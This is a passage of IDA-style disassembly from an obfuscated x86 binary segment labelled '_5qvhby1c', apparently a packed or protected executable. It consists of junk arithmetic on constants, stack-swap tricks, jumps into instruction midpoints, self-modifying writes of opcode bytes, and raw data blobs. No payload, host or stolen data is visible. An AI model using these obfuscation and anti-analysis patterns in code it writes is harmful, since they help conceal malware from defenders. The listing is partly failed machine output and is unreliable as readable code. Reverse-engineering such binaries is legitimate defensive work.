; ---------------------------------------------------------------------------


loc_43CFAC:				; CODE XREF: _5qvhby1c:0043D395p
		xchg	esi, [esp]
		pop	esi
		push	7CB17CC8h
		pop	ecx
		add	ecx, 9EBD7B8Fh
		rol	ecx, 1Ah
		call	sub_43DEA4
		add	bl, al		; CODE XREF: _5qvhby1c:loc_43D240j
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43CFC8:				; CODE XREF: sub_43B7F1-AA9j
		jmp	loc_43AAD2
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------


loc_43CFCD:				; CODE XREF: _5qvhby1c:loc_43BC08j
		push	offset dword_43CEB4
		jmp	locret_43BCBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D51D


loc_43CFD7:				; CODE XREF: sub_43D51D+6Bj
		add	eax, 48C6420Ah
		push	offset byte_43BD51
		jmp	near ptr unk_43ACE4
; END OF FUNCTION CHUNK	FOR sub_43D51D
; ---------------------------------------------------------------------------


loc_43CFE7:				; CODE XREF: _5qvhby1c:0043ADD8j
					; _5qvhby1c:0043C48Fj
		xchg	ecx, [esp]
		pop	ecx
		add	edi, 3EB1DB2Dh
		call	near ptr loc_43DF6F+5
		add	[eax-1Bh], ch	; CODE XREF: _5qvhby1c:loc_43D7BFj
					; _5qvhby1c:0043D81Ej
		mov	dl, 0B1h
		add	[eax-7Fh], bl
		shr	bh, 1Eh
		mov	ds:44E08135h, al
		add	dword ptr ds:2A78C081h[ebp*2], 6Dh
		and	dl, [ebx-75h]
		fucomip	st, st(1)
		jmp	far ptr	788Bh:0FFFFFFAh
; ---------------------------------------------------------------------------
		dw 0FFD3h
		dd 243487FFh, 4900C65Eh, 0E32AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43D02A:				; CODE XREF: sub_43B7F1+1352j
		or	edx, eax
		jmp	loc_43CBEA
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		align 2
		dw 1C6h
		dd 0F0815903h, 1B450FADh, 0FFD6E9E8h, 870000FFh, 1C872414h
		dd 5BD38B24h, 250E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_43D052:				; CODE XREF: _5qvhby1c:0043B0FFj
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 677E900h, 0
		dd 79E2815Ah, 81F1AFDFh, 1F57D7C2h, 0D2E28178h,	813B7A7Ah
		dd 93F5D9F2h, 5AC20391h, 0FFDAC3E8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43BEF5


loc_43D07E:				; CODE XREF: sub_43BEF5+1E22j
		jmp	loc_43C434
; END OF FUNCTION CHUNK	FOR sub_43BEF5
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF3D0h, 81F82B00h, 0CE329BC0h, 0C1FE95Eh
		db 2 dup(0)
word_43D096	dw 5068h		; DATA XREF: sub_43A948:loc_43D681o
		dd 5FC7BDB1h, 0D679C781h, 890F7BC8h, 0FFFFEAA2h
; ---------------------------------------------------------------------------


loc_43D0A8:				; CODE XREF: _5qvhby1c:loc_43CE4Dj
		push	edx
		and	edx, esi
		jmp	loc_43D2AD
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D0B2:				; CODE XREF: _5qvhby1c:0043D199j
		mov	byte ptr [edi],	87h
		pop	edi
		push	offset word_43D476
		jmp	loc_43D3E5
; ---------------------------------------------------------------------------
		dd 0C9C78100h, 0E98EAA85h, 0FFFFE49Dh, 0F03B0000h, 0FFF22CE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43D0D6:				; CODE XREF: _5qvhby1c:0043B8ACj
		xchg	edi, [esp]
		pop	edi
		xchg	edi, [esp]
		pop	edi
		xchg	edi, [esp]
		jmp	loc_43D7BF
; ---------------------------------------------------------------------------
		push	offset word_43BEAA
		jmp	locret_43BB9A
; ---------------------------------------------------------------------------

locret_43D0F0:				; CODE XREF: _5qvhby1c:loc_43BF29j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D0F3:				; CODE XREF: _5qvhby1c:loc_43A27Dj
					; DATA XREF: _5qvhby1c:0043D91Ew
		jmp	locret_43C289
; ---------------------------------------------------------------------------
dword_43D0F8	dd 0E205F081h, 0C581184Eh, 0B5896853h, 815B52E6h, 11F790CBh
					; DATA XREF: _5qvhby1c:00439DEAo
		dd 0FCFEE9B2h, 8700FFFFh, 0FC5E2434h, 0FFF3D9E9h, 0E95500FFh
		dd 9Fh,	0CB330000h, 0FFE6C2E9h,	8B0000FFh, 625E8ECh, 0
		dd 0BEE9388Bh, 0FFFFD4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A7DE


loc_43D140:				; CODE XREF: sub_43A7DE-7E1j
		push	offset byte_43B32B
		jmp	nullsub_223
; END OF FUNCTION CHUNK	FOR sub_43A7DE
; ---------------------------------------------------------------------------
		dw 6800h
		dd 77BEE0B6h, 0BDC08158h, 0C1244C74h, 42E91CC0h, 0FFFFEAh
; ---------------------------------------------------------------------------


loc_43D160:				; DATA XREF: sub_43C14F-223Co
		add	edx, 0EEF04F34h
		xchg	edx, [esp]
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43D16C:				; CODE XREF: sub_43B7F1:loc_439EB4j
					; sub_43B7F1+25C8j
		mov	edx, [eax]
		or	edx, edx
		jz	sub_43B7FC
		jmp	loc_43C574
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43D17D:				; CODE XREF: _5qvhby1c:0043AA56j
		jg	near ptr dword_43A25C+3
		rol	ebx, 9
		push	ecx
		add	eax, 56A0B1Eh
		jmp	loc_43AF73
; ---------------------------------------------------------------------------
		align 4


loc_43D194:				; CODE XREF: _5qvhby1c:0043BCC0j
		mov	edi, 43B7C3h
		jmp	loc_43D0B2
; ---------------------------------------------------------------------------
		align 10h


loc_43D1A0:				; CODE XREF: _5qvhby1c:loc_43DB07j
		pop	ebx
		add	ebx, 0F0EC4AF5h
		or	ebx, 7B3CFFAFh
		rol	ebx, 18h
		jmp	loc_43C2A4
; ---------------------------------------------------------------------------
		add	edx, esi
		jmp	sub_43DC52
; ---------------------------------------------------------------------------
		dd 12E95800h, 8B00000Ah, 242C87EEh, 53D98B53h, 43B1B7BBh
		dd 0DE7AE900h, 8100FFFFh, 4F3606F6h, 0D9DBE947h, 0FFFFh
; ---------------------------------------------------------------------------

locret_43D1E4:				; CODE XREF: _5qvhby1c:0043CD31j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A713


loc_43D1E7:				; CODE XREF: sub_43A713+Bj
		jmp	loc_43D9A8
; END OF FUNCTION CHUNK	FOR sub_43A713
; ---------------------------------------------------------------------------
		dd 18E90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43D1F3:				; CODE XREF: _5qvhby1c:loc_43BA4Ej
		pop	ebx
		sub	ebx, 0C046DE66h
		add	ebx, 6DF8002Fh
		rol	ebx, 0Ch
		or	ebx, 7BDFFFF8h
		add	ebx, 8063B852h
		jmp	loc_43C226
; ---------------------------------------------------------------------------
		not	ebx
		jmp	loc_43A508
; ---------------------------------------------------------------------------
		align 4


loc_43D21C:				; CODE XREF: _5qvhby1c:0043B4AEj
		push	43A10Ah
		jmp	near ptr dword_43A408+3Fh
; ---------------------------------------------------------------------------
		push	43CDD8h
		jmp	locret_43CDB0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2


loc_43D232:				; CODE XREF: _5qvhby1c:0043DB72j
		jmp	loc_43BEE9
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B8D3


loc_43D239:				; CODE XREF: sub_43B8D3-1468j
		jmp	loc_43AE88
; END OF FUNCTION CHUNK	FOR sub_43B8D3
; ---------------------------------------------------------------------------
		dw 0C300h
; ---------------------------------------------------------------------------


loc_43D240:				; CODE XREF: _5qvhby1c:0043B859j
		jmp	near ptr loc_43CFC4+1
; ---------------------------------------------------------------------------
		align 2
		dw 0DEBFh
		dd 0F8ED6F2h, 0FFFA0A8Ah, 0EC9FE9FFh, 0FFFFh, 0F7C08158h
		dd 0F720D472h, 10000C0h, 0FE19E900h, 0CA81FFFFh, 35A67065h
		dd 2E9C787h, 0FFFFE6h, 87C18B00h, 34B92404h, 0E90043A7h
		dd 0FFFFFAD8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B893


loc_43D288:				; CODE XREF: sub_43B893:loc_43A269j
		xchg	ebx, [esp-8+arg_4]
		call	sub_43DACC
; END OF FUNCTION CHUNK	FOR sub_43B893
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43D290:				; CODE XREF: sub_43B7F1+6j
		jmp	loc_43DDB3
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43A470


loc_43D296:				; CODE XREF: sub_43A470+20j
		jmp	nullsub_242
; END OF FUNCTION CHUNK	FOR sub_43A470
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFDDE2h, 0C00D6800h, 1BE90043h, 0FFFFCDh
		db 0
; ---------------------------------------------------------------------------


loc_43D2AD:				; CODE XREF: _5qvhby1c:0043D0ABj
		cmp	eax, edi
		jmp	near ptr dword_43BB2C+16h
; ---------------------------------------------------------------------------


loc_43D2B4:				; CODE XREF: _5qvhby1c:0043B1C2j
		xchg	ecx, [esp]
		pop	ecx


loc_43D2B8:				; CODE XREF: _5qvhby1c:0043B8A6j
		push	ecx
		mov	ecx, offset loc_43CCBF
		jmp	loc_43CCAE
; ---------------------------------------------------------------------------
		db 87h
		dd 5A32404h, 43A66Eh, 43C9C268h, 0F6E9E900h, 0C2D4FFFFh
		dd 3103C2C1h, 850F49C2h, 0FFFFD73Bh, 0F2B6840Fh, 6DE9FFFFh
		dd 2, 0BAA96800h, 14E90043h, 0C3000001h
; ---------------------------------------------------------------------------


loc_43D2FC:				; CODE XREF: _5qvhby1c:0043CAFAj
		jmp	near ptr dword_43AB78+62h
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		sar	edi, cl
		inc	dword ptr [eax]


loc_43D309:				; CODE XREF: _5qvhby1c:0043CDB8j
		push	esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA1E


loc_43D30D:				; CODE XREF: sub_43DA1E+9j
		jmp	near ptr dword_43A228+15h
; END OF FUNCTION CHUNK	FOR sub_43DA1E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43D313:				; CODE XREF: _5qvhby1c:00439E83j
		xor	esi, 0F3D4D026h
		cmp	esi, 43387231h
		jmp	loc_43DF28
; ---------------------------------------------------------------------------
		dd 210850Fh, 0D7F70000h, 0FFFD12E9h, 0C1C100FFh, 0E7E1E907h
		dd 0E800FFFFh, 1EDh, 0C19DC300h, 72E902CEh, 87FFFFE8h
		dd 0FF5F243Ch
		db 45h,	0F0h
; ---------------------------------------------------------------------------


loc_43D352:				; CODE XREF: _5qvhby1c:0043A656j
					; _5qvhby1c:loc_43DF1Bj
		push	offset byte_43C90B
		jmp	locret_43C909
; ---------------------------------------------------------------------------
		dd 3C870000h, 2B466824h, 8B538B96h, 241C87D8h, 439E13B8h
		dd 0E2B2E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43D377:				; CODE XREF: _5qvhby1c:0043B7A5j
		mov	edi, offset loc_43B664
		jmp	near ptr dword_439F20+15h
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_43D383:				; CODE XREF: _5qvhby1c:0043C82Fj
		retn
; ---------------------------------------------------------------------------
		dd 0D1CCE900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43D38C:				; CODE XREF: _5qvhby1c:0043A64Aj
		or	eax, eax
		mov	[ebp+edx*2+51FFFFE5h], al
		call	loc_43CFAC
		pop	ecx
		xor	ecx, 0B93FC368h
		cmp	ecx, 0A41DF348h
		jmp	loc_43A820
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D3AE:				; CODE XREF: _5qvhby1c:0043CE5Bj
		push	2CC6787Bh


loc_43D3B3:				; CODE XREF: _5qvhby1c:loc_43BCC7j
		xor	ecx, 1B58582h
		call	near ptr sub_43C14F
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		jmp	locret_43B2E0
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF238h
		db 0
byte_43D3CD	db 0C6h, 7, 0Fh		; DATA XREF: sub_43B265:loc_43C127o
		dd 0C846E85Fh, 40E8FFFFh, 0FFFFE4h, 19C7C15Bh, 0FFFC02E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43D3E5:				; CODE XREF: _5qvhby1c:0043D0BBj
		jmp	near ptr dword_43ADE0+41h
; ---------------------------------------------------------------------------
		dw 8E0Fh
		dd 0C66h, 5F243C87h, 3415C681h,	689C13Fh, 0CFAFE95Eh, 0FFFFh
		dd 308B1087h, 0FFDED9E9h, 0C30000FFh
		db 0
; ---------------------------------------------------------------------------


loc_43D411:				; CODE XREF: _5qvhby1c:0043B873j
		jmp	locret_43BD8E
; ---------------------------------------------------------------------------
		align 4
		dd 569C008Bh, 0FFCABAE8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A382


loc_43D421:				; CODE XREF: sub_43A382+3903j
		jmp	nullsub_228
; END OF FUNCTION CHUNK	FOR sub_43A382
; ---------------------------------------------------------------------------
		mov	ebp, 62731795h
		jmp	sub_43C317
; ---------------------------------------------------------------------------
		dd 820F0000h, 0FFFFE6AFh, 2BDCE381h, 82E91BCEh,	0F000000h
		dd 0FFD8138Ah, 0CAF2E9FFh
		db 2 dup(0FFh),	0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_43D451:				; CODE XREF: _5qvhby1c:0043CD05j
		jmp	loc_43ACD3
; ---------------------------------------------------------------------------
word_43D456	dw 0D029h		; DATA XREF: sub_43DCB5+6o
		dd 0FFE7E9E9h, 820F00FFh, 0FFFFD991h, 87F18B56h, 4A682434h
		dd 0E9D6E4F9h, 500h
		db 2 dup(0)
word_43D476	dw 8B56h		; DATA XREF: _5qvhby1c:0043D0B6o
		dd 243487F0h, 0FFD7FDE8h, 4D8BFFh, 0FFF558E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43AE40


loc_43D48A:				; CODE XREF: sub_43AE40:loc_43B10Ej
		call	sub_43A713
; END OF FUNCTION CHUNK	FOR sub_43AE40
; ---------------------------------------------------------------------------
		db 0
		dd 0C300h, 0FFF2DFE9h, 0C60000FFh, 525F8707h, 0FFF7D8E9h
		dd 0BFC881FFh, 8103A315h, 8B72CEC0h, 0FDF081A4h, 5110868Bh
		dd 43B99EB9h, 0D91EE900h, 0FFFFh
; ---------------------------------------------------------------------------

locret_43D4C4:				; CODE XREF: _5qvhby1c:loc_43BC2Bj
		retn
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 36h
		dd 30030A2h, 241C87C2h,	0FFFA77E8h, 520000FFh, 43CC26BAh
		dd 0EF2DE900h, 3A89FFFFh, 59E9FD8Bh, 0FFFFDEh, 1FDAC2F7h
		dd 95E9F9C4h, 0FFFFCCh,	0BC45968h, 24148748h, 5EC6035Ah
		dd 0FFDBEEE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43D50A:				; CODE XREF: _5qvhby1c:0043B3C0j
		mov	byte ptr [eax],	87h
		pop	eax
		mov	ebx, ebp


loc_43D510:				; DATA XREF: _5qvhby1c:0043B3BBo
		xchg	ebx, [esp]
		jmp	near ptr word_43B252+1
; ---------------------------------------------------------------------------
		push	454C5A80h

; =============== S U B	R O U T	I N E =======================================



sub_43D51D	proc near		; CODE XREF: _5qvhby1c:loc_43BF8Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C3DF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0043C4CB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043C56D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043CFD7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043D79E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [edi],	31h
		jmp	loc_43D5B3
; ---------------------------------------------------------------------------
		db 2 dup(0), 33h
		dd 243C87E8h, 8702C65Fh, 51F0685Ah, 42E937B8h, 0FFFFE4h
dword_43D540	dd 531075FFh, 2461668h,	0BE68535Fh, 0E9D5218Bh,	0FFFFDCD9h
					; DATA XREF: _5qvhby1c:0043C360o
		dd 8B240C87h, 0C359E9h,	0FFD428E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43D561:				; CODE XREF: _5qvhby1c:0043A2E0j
		jmp	near ptr dword_43A0DC+23h
; ---------------------------------------------------------------------------
		dw 0F00h
; ---------------------------------------------------------------------------
		cmp	byte ptr [ebx-78000005h], 3Ch
		and	al, 5Fh
		mov	eax, [eax]
		jmp	loc_43D79E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D57A:				; CODE XREF: _5qvhby1c:loc_43BDB6j
		push	0DA95BBEBh
		xchg	edx, [esp+0]
		mov	eax, edx
		pop	edx
		rol	eax, 0Dh
		jmp	loc_43CFD7
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 2B18Ch, 0C7230000h, 0B17A6DBDh, 2A4E9D1h, 0C870000h
		dd 242C8724h, 0E95DCD8Bh, 0FFFFD438h
		db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------


loc_43D5B3:				; CODE XREF: sub_43D51D+7j
		jmp	loc_43C3DF
sub_43D51D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 4168h
		dd 5851ED2Ah, 0A63C081h, 0A8E92CAEh, 0FFFFE8h, 0DDE9FA2Bh
		dd 0
		dd 0E92B8900h, 0FFFFFF8Bh, 0E9C30000h, 38Fh, 0F0810000h
		dd 9C33FC1h, 0C081C503h, 7F082396h, 0FFFE1FE9h,	0F70300FFh
		dd 0AFE9F03Bh, 0FFFFCCh, 20E9EA8Bh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43D60B:				; DATA XREF: _5qvhby1c:0043D649o
		push	esi
		push	0F69D3619h
		pop	esi
		or	esi, 19759C19h
		add	esi, 4618A5h
		jmp	loc_43DBC4
; ---------------------------------------------------------------------------
		align 4
		dd 0EF8C8B0Fh, 0EA3BFFFFh, 0FFE0C8E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D633:				; CODE XREF: _5qvhby1c:loc_43BCA1j
		pop	esi
		add	edx, 2779BD53h
		xor	edx, 5857FB25h
		rol	edx, 1Ch
		xor	edx, 212F0E53h
		push	offset loc_43D60B
		jmp	near ptr dword_43A228+22h
; ---------------------------------------------------------------------------
		align 4
		dd 0FD32860Fh, 810FFFFFh, 0FFFFD127h
; ---------------------------------------------------------------------------


loc_43D660:				; CODE XREF: sub_43B7F1+2092p
		call	sub_43A7DE
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D667:				; DATA XREF: _5qvhby1c:0043DD46o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFD99Ah, 0D0A3DD68h, 243C87BCh, 1E9C78Bh,	0FFFFE0h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43D681:				; CODE XREF: sub_43A948:loc_43B9CAj
		push	offset word_43D096
		jmp	nullsub_225
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		align 4


loc_43D68C:				; CODE XREF: _5qvhby1c:0043C138j
		jz	loc_43B20B
		xchg	edx, [esp]
		pop	edx
		mov	eax, [eax]
		popf
		push	eax
		pushf
		jmp	loc_43BDB6
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43D6A1:				; CODE XREF: _5qvhby1c:0043BC0Dj
		pop	eax
		rol	eax, 12h
		cmp	eax, 0A5CAC1Dh
		jmp	loc_43BCF5

; =============== S U B	R O U T	I N E =======================================



sub_43D6B0	proc near		; CODE XREF: _5qvhby1c:0043DBCEp

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	edx, [esp-4+arg_0]
		jmp	near ptr word_43A9E2+1
sub_43D6B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 58D0000h, 43D70Ah, 0B482B951h, 0BE90043h, 0FFFFD6h
		dd 0C2546800h, 77E90043h, 53FFFFEBh, 700D7568h,	0CB815B21h
		dd 0DF23EBF0h, 7E03F381h, 0D3030BC8h
; ---------------------------------------------------------------------------
		pop	ebx


loc_43D6F1:				; DATA XREF: _5qvhby1c:0043B6EDo
		mov	edx, [edx]
		jmp	loc_43AA2C

; =============== S U B	R O U T	I N E =======================================



sub_43D6F8	proc near		; CODE XREF: _5qvhby1c:0043CBABj
					; _5qvhby1c:0043DC15p
		xchg	edx, [esp+0]
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		mov	byte ptr [eax],	0C3h
		retn
sub_43D6F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43D705:				; CODE XREF: _5qvhby1c:0043B0B1j
		jmp	near ptr dword_43A5AC+32h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD	"+" TO EXPAND]
		db 79h
		dd 5868D912h, 0FFE83EE9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	locret_43A8C9
; ---------------------------------------------------------------------------
byte_43D71B	db 0Fh			; DATA XREF: sub_43DACC:loc_43AA1Fo
		dd 0FFFD3D82h, 2E8FFh, 0
; ---------------------------------------------------------------------------


loc_43D728:				; CODE XREF: _5qvhby1c:0043BE91j
		xchg	esi, [esp]
		pop	esi
		jb	near ptr dword_43ADE0+15h
		lodsb
		push	edi
		mov	edi, offset loc_43C3E5
		jmp	loc_43BF8D
; ---------------------------------------------------------------------------
		dw 8700h
		dd 8159240Ch, 28BCCEC0h, 2C008BD5h, 34B81268h, 0C1C159B6h
		dd 0E817E90Bh, 8700FFFFh, 525F243Ch, 77E9D18Bh,	0FFFFE4h
		dd 0FF838B0Fh, 71E9FFFFh, 0FFFFDDh, 65E95600h, 52FFFFD4h
		dd 58E9F385h, 0FFFFF0h,	0E99DFA33h, 0FFFFDB29h,	3C60000h
		dd 448A5B0Fh, 558BE005h, 0CFCBE8FCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D51D


loc_43D79E:				; CODE XREF: sub_43D51D+56j
		jmp	near ptr dword_43CA6C+2Eh
; END OF FUNCTION CHUNK	FOR sub_43D51D
; ---------------------------------------------------------------------------
		align 4
		dd 24148700h, 6858685Ah
		db 0DEh, 0BBh, 56h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B6FF


loc_43D7AF:				; CODE XREF: sub_43B6FF+4j
		mov	esi, offset word_43B00A
		jmp	near ptr dword_43A834+56h
; END OF FUNCTION CHUNK	FOR sub_43B6FF
; ---------------------------------------------------------------------------
		db 0Fh,	8Ch, 32h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43D7BF:				; CODE XREF: _5qvhby1c:0043D0E1j
		jmp	near ptr loc_43CFF6+1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43D7C4:				; CODE XREF: sub_43C14F-1BB9j
		jmp	loc_439F05
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 558BECDBh, 0D315E993h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_43D7D7:				; CODE XREF: _5qvhby1c:0043CB38j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D7DA:				; CODE XREF: _5qvhby1c:0043AC2Aj
		pushf
		push	3A08893Eh
		mov	edx, 19C1CD80h
		cdq
		add	esi, 4300D043h
		push	43A2E7h
		jmp	loc_43C064
; ---------------------------------------------------------------------------
		dw 2568h
		dd 5E7D69DFh, 2982EE81h, 7A681E6Fh, 0E90043D9h,	0FFFFFDD3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D80E:				; CODE XREF: _5qvhby1c:0043BFEAj
		pop	edx
		xor	ecx, 5BFB529Ch
		add	ecx, 0E74774A8h
		xchg	ecx, [esp]
		jmp	near ptr loc_43CFF6+1
; ---------------------------------------------------------------------------
		align 4
		dd 15FC6800h, 81581ACCh, 9AAA13E8h, 0E7E08148h,	0E90C98EDh
		dd 0FFFFD698h, 0C62D2668h, 0DB9AE990h, 0C1C1FFFFh, 21E18104h
		dd 56A6D647h, 108A7768h, 0F9E95EC1h
; ---------------------------------------------------------------------------
		retf	0FFFFh
; ---------------------------------------------------------------------------


loc_43D85B:				; CODE XREF: _5qvhby1c:0043CCC1j
		add	eax, 2582D9ABh
		mov	eax, [eax]
		call	sub_43C80D
; ---------------------------------------------------------------------------
		dd 1AE90000h, 0FFFFDAh,	7E16F781h, 0F8E902BBh, 0FFFFD5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43D87C:				; CODE XREF: sub_43B7F1:loc_43B3B1j
		mov	byte ptr [edx],	8Bh
		pop	edx
		push	ebx
		mov	ebx, edx
		call	loc_43D660
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D88A:				; CODE XREF: _5qvhby1c:0043B7B6j
		jge	loc_43CEA2
; ---------------------------------------------------------------------------
		dd 23E90000h, 81000001h, 338700F5h, 0E9D5855Dh,	0FFFFF5F5h
		dd 0C3810000h, 698EA9EFh, 0E90FCFC1h, 6C0h, 85E9D2F7h
		dd 0FFFFD2h, 3ECDC181h,	4878FE7h, 2885824h, 43C2DC68h
		dd 0DCB0E900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43D8D4:				; CODE XREF: _5qvhby1c:0043C497j
		xchg	ecx, [esp]
		pop	ecx
		push	7429908Fh
		pop	edx
		sub	edx, 0FAEA1CF4h
		cmp	edx, 59A7C42Eh
		jmp	loc_43BD2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2E6


loc_43D8EF:				; CODE XREF: sub_43B2E6:loc_43DF49j
		push	43AF19h
		jmp	loc_43AA7D
; END OF FUNCTION CHUNK	FOR sub_43B2E6
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD	"+" TO EXPAND]
		dd 43E90000h, 0FFFFEDh
		db 0
; ---------------------------------------------------------------------------


loc_43D905:				; CODE XREF: _5qvhby1c:0043B3D0j
		jmp	locret_43C02C
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43D90B:				; CODE XREF: _5qvhby1c:0043B09Fj
		jmp	loc_43DBE4
; ---------------------------------------------------------------------------


loc_43D910:				; DATA XREF: sub_43C317+9o
		mov	byte ptr ds:loc_43A278,	68h
		mov	byte ptr ds:loc_43A27D,	0E9h
		mov	byte ptr ds:loc_43D0F3,	0E9h
		mov	byte ptr ds:locret_43C289, 0C3h
		mov	ds:byte_43BDC7,	0Fh
		mov	byte ptr ds:dword_43A66C+2, 0Fh
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0C300h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD	"+" TO EXPAND]
		db 81h,	0D8h, 0F7h
		dd 1E9FFFFh, 0FFFFFE6h,	0FFF5028Bh, 0E9D80BFFh,	0FFFFFDE7h
		dd 0D5030000h, 0D848C281h, 289AF96h, 0AD689C5Ah, 58280C85h
		dd 0FFE109E9h, 0C30000FFh, 0FFF373E9h, 685700FFh, 5A67CA6Ch
		dd 1AC7C15Fh, 0E56C781h, 0F9E94EDAh, 0FFFFD1h, 6288A0Fh
		dd 0FE130000h, 0FFE7C6E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43D99D:				; CODE XREF: _5qvhby1c:0043C7BBj
		jmp	near ptr dword_43BA78+43h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43D9A3:				; CODE XREF: sub_43A948+Aj
		jmp	loc_43C034
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
